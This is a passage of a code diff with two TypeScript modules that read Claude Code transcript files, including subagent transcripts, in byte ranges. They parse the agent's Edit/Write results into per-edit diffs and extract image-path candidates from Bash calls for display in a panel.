* Tests: `test/edit-history-local-source.test.ts`.
*
* @module edit-history-local-source
*/
import { open, readdir, realpath, stat } from 'node:fs/promises';
import { homedir } from 'node:os';
import { basename, isAbsolute, join } from 'node:path';
import { probePathKind, type PathProbeKind } from './utils/bounded-path-probe.js';
import { claudeProjectsDir } from './utils/claude-transcript.js';
const ID_PATTERN = /^[A-Za-z0-9._-]+$/;
const REL_PATH_PATTERN = /^(main|subagents\/agent-[A-Za-z0-9_-]+\.jsonl)$/;
const AGENT_FILE_PATTERN = /^agent-([A-Za-z0-9_-]+)\.jsonl$/;
const META_MAX_BYTES = 8192;
/** One file to read from where the last read stopped (`len` only for an "older" block). */
export interface EditSourceRequest {
/** `main` or `subagents/agent-<id>.jsonl`. */
relPath: string;
offset: number;
len?: number;
}
export interface EditSourceFile {
relPath: string;
/** The file's size when it was read. */
size: number;
startOffset: number;
chunk: Buffer;
}
export interface EditSources {
/** The conversation id: the main transcript's file name without `.jsonl`. */
transcriptId: string;
files: EditSourceFile[];
/** `agent-<id>.meta.json` text of each subagent read for the first time, by agent id. */
metas: Record<string, string>;
}
export interface EditSourceReadOptions {
/** Read only the requested files; the others are not listed. */
onlyRequested?: boolean;
}
/** What a path turned out to be (for Bash image candidates). */
export interface PathProbe {
/** The path with symlinks resolved. */
realPath: string;
kind: 'file' | 'directory' | 'other';
/** Size in bytes (0 for anything that is not a regular file). */
size: number;
mtimeMs: number;
}
async function readRange(path: string, offset: number, len: number): Promise<Buffer> {
if (len <= 0) return Buffer.alloc(0);
const fh = await open(path, 'r');
try {
const buf = Buffer.alloc(len);
const { bytesRead } = await fh.read(buf, 0, len, offset);
return buf.subarray(0, bytesRead);
} catch {
return Buffer.alloc(0);
} finally {
await fh.close();
}
}
async function fileSize(path: string): Promise<number | null> {
try {
const s = await stat(path);
return s.isFile() ? s.size : null;
} catch {
return null;
}
}
/** The newest `<id>.jsonl` under any project dir, for the first id that has one; null when none does. */
export async function findClaudeTranscript(
ids: readonly string[],
projectsDir: string = claudeProjectsDir()
): Promise<string | null> {
let dirs: string[];
try {
dirs = await readdir(projectsDir);
} catch {
return null;
}
for (const id of new Set(ids)) {
if (!ID_PATTERN.test(id)) continue;
let best: { path: string; mtime: number } | null = null;
for (const dir of dirs) {
const path = join(projectsDir, dir, `${id}.jsonl`);
try {
const s = await stat(path);
if (s.isFile() && (!best || s.mtimeMs > best.mtime)) best = { path, mtime: s.mtimeMs };
} catch {
// not in this project dir
}
}
if (best) return best.path;
}
return null;
}
/**
* The session's main transcript: the transcript watcher's (hook-reported) path when there is
* one, else the newest `<id>.jsonl` under `configDir` (the session's `CLAUDE_CONFIG_DIR`
* override; the server's config dir when unset). Null when neither finds one.
*/
export async function resolveClaudeTranscript(
watcherPath: string | null | undefined,
ids: readonly string[],
configDir?: string
): Promise<string | null> {
return watcherPath || findClaudeTranscript(ids, claudeProjectsDir(configDir));
}
/**
* Read the main transcript at `mainPath` and its subagent transcripts. Null when `mainPath`
* is not an absolute `<id>.jsonl` path or the file does not exist.
*/
export async function readClaudeEditSources(
mainPath: string,
requests: readonly EditSourceRequest[],
budgetBytes: number,
opts: EditSourceReadOptions = {}
): Promise<EditSources | null> {
if (!isAbsolute(mainPath) || !mainPath.endsWith('.jsonl')) return null;
const transcriptId = basename(mainPath, '.jsonl');
if (!ID_PATTERN.test(transcriptId)) return null;
const byPath = new Map<string, EditSourceRequest>();
for (const r of requests) {
if (!REL_PATH_PATTERN.test(r.relPath) || byPath.has(r.relPath)) continue;
if (!Number.isSafeInteger(r.offset) || r.offset < 0) continue;
if (r.len !== undefined && (!Number.isSafeInteger(r.len) || r.len < 0)) continue;
byPath.set(r.relPath, r);
}
const subDir = join(mainPath.slice(0, -'.jsonl'.length), 'subagents');
const sources: Array<{ relPath: string; path: string; agentId?: string }> = [{ relPath: 'main', path: mainPath }];
try {
for (const name of (await readdir(subDir)).sort()) {
const m = AGENT_FILE_PATTERN.exec(name);
if (m) sources.push({ relPath: `subagents/${name}`, path: join(subDir, name), agentId: m[1] });
}
} catch {
// no subagents yet
}
let remaining = Math.max(0, Math.floor(budgetBytes));
const files: EditSourceFile[] = [];
const metas: Record<string, string> = {};
for (const src of sources) {
const size = await fileSize(src.path);
if (size === null) {
if (src.relPath === 'main') return null;
continue;
}
const req = byPath.get(src.relPath);
if (!req && opts.onlyRequested) continue;
let start: number;
let len: number;
if (req?.len !== undefined) {
const blockStart = Math.min(req.offset, size);
const blockEnd = Math.min(req.offset + req.len, size);
len = Math.min(blockEnd - blockStart, remaining);
start = blockEnd - len;
} else if (req) {
start = Math.min(req.offset, size);
len = Math.min(remaining, size - start);
} else {
len = Math.min(size, remaining);
start = size - len;
}
const chunk = await readRange(src.path, start, len);
remaining -= chunk.length;
files.push({ relPath: src.relPath, size, startOffset: start, chunk });
if (!req && src.agentId) {
const metaPath = join(subDir, `agent-${src.agentId}.meta.json`);
const metaSize = await fileSize(metaPath);
if (metaSize !== null) {
metas[src.agentId] = (await readRange(metaPath, 0, Math.min(metaSize, META_MAX_BYTES))).toString('utf8');
}
}
}
return { transcriptId, files, metas };
}
/**
* Per path its resolved path, kind, size and mtime, or null when it is not a regular file
* (missing, a directory, or on a filesystem that did not answer). `~/` means this user's home.
*
* The paths come from Bash output, so the agent chose them: each one first goes through the
* bounded probe (`probePathKind`, no `pastCap`, this is a bulk scan), and only a path it saw
* as a file is touched by `realpath` + `stat`. A path on a mount that stopped answering
* then costs one stalled stat at most, never a sync that cannot finish (#516 rule).
* Sequential, so one sync holds at most one threadpool worker.
*/
export async function probeLocalPaths(
paths: readonly string[],
home: string = homedir(),
probeKind: (path: string) => Promise<PathProbeKind> = probePathKind
): Promise<Array<PathProbe | null>> {
const out: Array<PathProbe | null> = [];
for (const p of paths) {
const path = p.startsWith('~/') ? join(home, p.slice(2)) : p;
if (!isAbsolute(path) || (await probeKind(path)) !== 'file') {
out.push(null);
continue;
}
try {
const real = await realpath(path);
const s = await stat(real);
out.push(s.isFile() ? { realPath: real, kind: 'file', size: s.size, mtimeMs: Math.floor(s.mtimeMs) } : null);
} catch {
out.push(null);
}
}
return out;
}
+352
View File
@@ -0,0 +1,352 @@
/**
* @fileoverview Edit history parser: claude JSONL transcript lines → the files the agent
* edited (with their diff) and the images its Bash calls may have produced.
*
* Every `Edit`/`Write` result line carries `toolUseResult.filePath` and a
* `structuredPatch` (hunks with ` `/`+`/`-` prefixed lines), so a per-edit diff needs no
* git. The whole-file fields next to it (`originalFile`, `content`) are never kept.
*
* Images rarely come from `Write`; they come from scripts run through Bash. A Bash call
* yields a CANDIDATE: the image-looking paths in its command and output, with the call's
* start and end time. Whether a candidate file was actually produced by the call (its
* mtime falls inside that window) is decided later by whoever can stat it, locally or on
* the remote host: this module does no IO.
*
* Chunked input: a transcript is read in byte ranges, so a Bash `tool_use` and its result
* can land in different chunks. Unanswered calls are handed back as `pending` and passed
* into the next call.
*
* Tests: `test/edit-history-parse.test.ts`.
*
* @module edit-history-parse
*/
import { posix } from 'node:path';
/** Per-record budget for kept hunk lines; a larger patch is cut and marked `truncated`. */
export const MAX_HUNK_BYTES = 64 * 1024;
/** Image paths kept per Bash call. */
export const MAX_IMAGE_CANDIDATES = 20;
/** Unanswered Bash calls carried between chunks (an interrupted call never gets a result). */
export const MAX_PENDING_BASH = 200;
/**
* Command text kept per unanswered Bash call. Pending calls are persisted with the store, so
* this bounds it; an image path past this point of a command is still found in the output.
*/
export const MAX_PENDING_COMMAND_CHARS = 8192;
/** Longest id, cwd or agent id of an unanswered Bash call; a call with a longer one is not kept. */
export const MAX_PENDING_FIELD_CHARS = 4096;
export type EditKind = 'code' | 'image';
/** `edit` = a result with a path and a patch from a tool other than Edit/Write. */
export type EditTool = 'Edit' | 'Write' | 'edit';
export interface EditHunk {
oldStart: number;
oldLines: number;
newStart: number;
newLines: number;
lines: string[];
}
export interface EditRecord {
/** The `tool_use_id` of the edit: unique per edit, used to deduplicate. */
id: string;
/** ms since epoch, from the result line's `timestamp` (0 when missing). */
ts: number;
path: string;
kind: EditKind;
tool: EditTool;
/** A `Write` that created the file. */
created: boolean;
/** Counted over the whole patch, also when `hunks` was cut. */
added: number;
removed: number;
hunks: EditHunk[];
truncated: boolean;
/** Set for lines of a subagent transcript. */
agentId?: string;
}
export interface PendingBash {
id: string;
ts: number;
command: string;
cwd: string;
agentId?: string;
}
export interface ImageCandidate {
toolUseId: string;
start: number;
end: number;
paths: string[];
agentId?: string;
/**
* Files claude handed to the user (`SendUserFile`): shown on purpose, so no mtime window
* applies; the file must still exist, and a version already listed is not listed again.
*/
sent?: boolean;
}
export interface EditParseResult {
records: EditRecord[];
candidates: ImageCandidate[];
pending: PendingBash[];
}
const IMAGE_EXT = '(?:png|jpe?g|gif|webp|avif|svg)';
const IMAGE_PATH_RE = new RegExp(`\\.${IMAGE_EXT}$`, 'i');
// After the extension: no further name character, and no `.ext` (a.png.bak).
const EXT_END = '(?![\\w-])(?!\\.\\w)';
// Characters that end an unquoted path token.
const TOKEN_CHAR = '[^\\s\'"`<>|;&()=,:*?]';
const PATH_TOKEN_RE = new RegExp(
[
// 1. file:// URL (Codex: `Saved to: file:///…`), which may contain spaces up to the extension.
// The lazy scan stops at the next `file://`: otherwise it runs to the line end from
// every `file://` of a line that repeats it (quadratic). `:` stays allowed, so a
// timestamped name (`plot-12:30.png`) is still found.
`file://(/(?:(?!file://)[^\\n])*?\\.${IMAGE_EXT})${EXT_END}`,
// 2./3. Quoted paths, spaces allowed.
`"([^"\\n]*\\.${IMAGE_EXT})"`,
`'([^'\\n]*\\.${IMAGE_EXT})'`,
// 4. Unquoted token. A match starts only at a token boundary (line start or a character
// that ends a token), never inside a URL (`:` is not a boundary), a glob or a longer
// name. Anchoring at boundaries keeps this linear: a lookbehind that only excluded
// some characters let a match start at every other character of a long token
// (`####…`, a base64 blob) and rescan the token from each, quadratic in the line
// length. The name before the extension must not be empty.
`(?<=^|[\\s'"\`<>|;&()=,*?])((?:${TOKEN_CHAR}*/)?[^\\s'"\`<>|;&()=,:*?/]+\\.${IMAGE_EXT})${EXT_END}`,
].join('|'),
'gi'
);
/** `image` for the image extensions the panel can thumbnail, else `code`. */
export function classifyEditPath(path: string): EditKind {
return IMAGE_PATH_RE.test(path) ? 'image' : 'code';
}
/**
* Image-looking paths in a Bash call's command and output, in order of appearance,
* deduplicated and capped at {@link MAX_IMAGE_CANDIDATES}. Absolute paths are normalised,
* `~/` paths stay literal (the host that stats them expands `~`), relative ones are
* resolved against `cwd` and dropped when `cwd` is not absolute. URLs and globs are
* skipped.
*/
export function extractImagePathCandidates(command: string, stdout: string, stderr: string, cwd: string): string[] {
const text = [command, stdout, stderr].join('\n');
const out: string[] = [];
const seen = new Set<string>();
for (const m of text.matchAll(PATH_TOKEN_RE)) {
const raw = m[1] ?? m[2] ?? m[3] ?? m[4];
if (!raw || raw.includes('://') || /[*?]/.test(raw)) continue;
let resolved: string;
if (raw.startsWith('/')) resolved = posix.normalize(raw);
else if (raw.startsWith('~/')) resolved = raw;
else if (cwd.startsWith('/')) resolved = posix.resolve(cwd, raw);
else continue;
if (seen.has(resolved)) continue;
seen.add(resolved);
out.push(resolved);
if (out.length >= MAX_IMAGE_CANDIDATES) break;
}
return out;
}
function isRecord(v: unknown): v is Record<string, unknown> {
return typeof v === 'object' && v !== null && !Array.isArray(v);
}
/**
* The hunks of `patch` with their string lines, cut once the lines reach {@link MAX_HUNK_BYTES}
* (`truncated`). Also applied to hunks loaded from a store file.
*/
export function capHunks(patch: readonly unknown[]): { hunks: EditHunk[]; truncated: boolean } {
const hunks: EditHunk[] = [];
let budget = MAX_HUNK_BYTES;
let truncated = false;
for (const h of patch) {
if (!isRecord(h) || !Array.isArray(h.lines)) continue;
if (truncated) break;
const kept: string[] = [];
for (const l of h.lines) {
if (typeof l !== 'string') continue;
const cost = Buffer.byteLength(l) + 3;
if (cost > budget) {
truncated = true;
break;
}
budget -= cost;
kept.push(l);
}
hunks.push({
oldStart: Number(h.oldStart) || 0,
oldLines: Number(h.oldLines) || 0,
newStart: Number(h.newStart) || 0,
newLines: Number(h.newLines) || 0,
lines: kept,
});
}
return { hunks, truncated };
}
function toHunks(patch: unknown[]): { hunks: EditHunk[]; added: number; removed: number; truncated: boolean } {
let added = 0;
let removed = 0;
for (const h of patch) {
if (!isRecord(h) || !Array.isArray(h.lines)) continue;
for (const l of h.lines) {
if (typeof l !== 'string') continue;
if (l.startsWith('+')) added++;
else if (l.startsWith('-')) removed++;
}
}
return { ...capHunks(patch), added, removed };
}
/** A new file's content as one all-added hunk, in `structuredPatch` form. */
function createdFileHunk(content: string): Record<string, unknown> {
const lines = content.split('\n');
if (lines.length > 0 && lines[lines.length - 1] === '') lines.pop();
return { oldStart: 0, oldLines: 0, newStart: 1, newLines: lines.length, lines: lines.map((l) => `+${l}`) };
}
function toEditRecord(id: string, ts: number, result: unknown, agentId: string | undefined): EditRecord | null {
if (!isRecord(result)) return null;
const { filePath, structuredPatch } = result;
if (typeof filePath !== 'string' || !filePath || !Array.isArray(structuredPatch)) return null;
const tool: EditTool = typeof result.type === 'string' ? 'Write' : 'oldString' in result ? 'Edit' : 'edit';
const kind = classifyEditPath(filePath);
// A Write that created a file reports an empty patch; its diff is the whole content.
const patch =
result.type === 'create' && structuredPatch.length === 0 && kind !== 'image' && typeof result.content === 'string'
? [createdFileHunk(result.content)]
: structuredPatch;
const { hunks, added, removed, truncated } = toHunks(patch);
const record: EditRecord = {
id,
ts,
path: filePath,
kind,
tool,
created: result.type === 'create',
added,
removed,
hunks,
truncated,
};
if (agentId) record.agentId = agentId;
return record;
}
/**
* Image paths of a `SendUserFile` result (`{ caption, attachments: [{ path }] }`): the
* files claude delivered to the user, which is how a session shows generated images.
*/
function sentImagePaths(result: unknown): string[] {
if (!isRecord(result) || !Array.isArray(result.attachments)) return [];
const out: string[] = [];
for (const a of result.attachments) {
if (!isRecord(a) || typeof a.path !== 'string' || !a.path.startsWith('/')) continue;
if (IMAGE_PATH_RE.test(a.path) && !out.includes(a.path)) out.push(a.path);
}
return out;
}
/** The text of a `tool_result` block's content (a string or a list of text blocks). */
function blockText(content: unknown): string {
if (typeof content === 'string') return content;
if (!Array.isArray(content)) return '';
return content
.map((b) => (isRecord(b) && typeof b.text === 'string' ? b.text : ''))
.filter(Boolean)
.join('\n');
}
/**
* Parse transcript lines into edit records and Bash image candidates.
*
* @param text complete JSONL lines; a first line cut mid-record (a byte range starting
* inside it) and anything else that does not parse is skipped.
* @param pending unanswered Bash calls from the previous chunk.
*/
export function parseClaudeEditLines(text: string, pending: readonly PendingBash[] = []): EditParseResult {
const open = new Map<string, PendingBash>(pending.map((p) => [p.id, p]));
const records: EditRecord[] = [];
const candidates: ImageCandidate[] = [];
for (const rawLine of text.split('\n')) {
const line = rawLine.trim();
if (!line) continue;
let rec: unknown;
try {
rec = JSON.parse(line);
} catch {
continue;
}
if (!isRecord(rec)) continue;
const message = rec.message;
const content = isRecord(message) ? message.content : undefined;
if (!Array.isArray(content)) continue;
const parsedTs = typeof rec.timestamp === 'string' ? Date.parse(rec.timestamp) : NaN;
const ts = Number.isFinite(parsedTs) ? parsedTs : 0;
const agentId = typeof rec.agentId === 'string' && rec.agentId ? rec.agentId : undefined;
const cwd = typeof rec.cwd === 'string' ? rec.cwd : '';
if (rec.type === 'assistant') {
for (const block of content) {
if (!isRecord(block) || block.type !== 'tool_use' || block.name !== 'Bash') continue;
if (typeof block.id !== 'string' || !isRecord(block.input)) continue;
const command = block.input.command;
if (typeof command !== 'string') continue;
if ([block.id, cwd, agentId ?? ''].some((f) => f.length > MAX_PENDING_FIELD_CHARS)) continue;
const entry: PendingBash = { id: block.id, ts, command: command.slice(0, MAX_PENDING_COMMAND_CHARS), cwd };
if (agentId) entry.agentId = agentId;
open.delete(block.id);
open.set(block.id, entry);
while (open.size > MAX_PENDING_BASH) open.delete(open.keys().next().value as string);
}
continue;
}
if (rec.type !== 'user') continue;
const results = content.filter(
(b): b is Record<string, unknown> => isRecord(b) && b.type === 'tool_result' && typeof b.tool_use_id === 'string'
);
// `toolUseResult` describes the line's result; it is unambiguous only for one block.
const single = results.length === 1;
for (const block of results) {
const id = block.tool_use_id as string;
if (single) {
const edit = toEditRecord(id, ts, rec.toolUseResult, agentId);
if (edit) records.push(edit);
}
const sent = single ? sentImagePaths(rec.toolUseResult) : [];
if (sent.length > 0) {
const candidate: ImageCandidate = { toolUseId: id, start: ts, end: ts, paths: sent, sent: true };
if (agentId) candidate.agentId = agentId;
candidates.push(candidate);
}
const call = open.get(id);
if (!call) continue;
open.delete(id);
const r = single ? rec.toolUseResult : undefined;
let stdout: string;
let stderr = '';
if (isRecord(r) && (typeof r.stdout === 'string' || typeof r.stderr === 'string')) {
stdout = typeof r.stdout === 'string' ? r.stdout : '';
stderr = typeof r.stderr === 'string' ? r.stderr : '';
} else {
stdout = blockText(block.content);
}
const paths = extractImagePathCandidates(call.command, stdout, stderr, call.cwd);
if (paths.length === 0) continue;
const candidate: ImageCandidate = { toolUseId: id, start: call.ts, end: ts, paths };
if (call.agentId) candidate.agentId = call.agentId;
candidates.push(candidate);
}
}
return { records, candidates, pending: [...open.values()] };
}
Loaded 100 of 318 files, more files were not shown because too many files have changed in this diff. Show more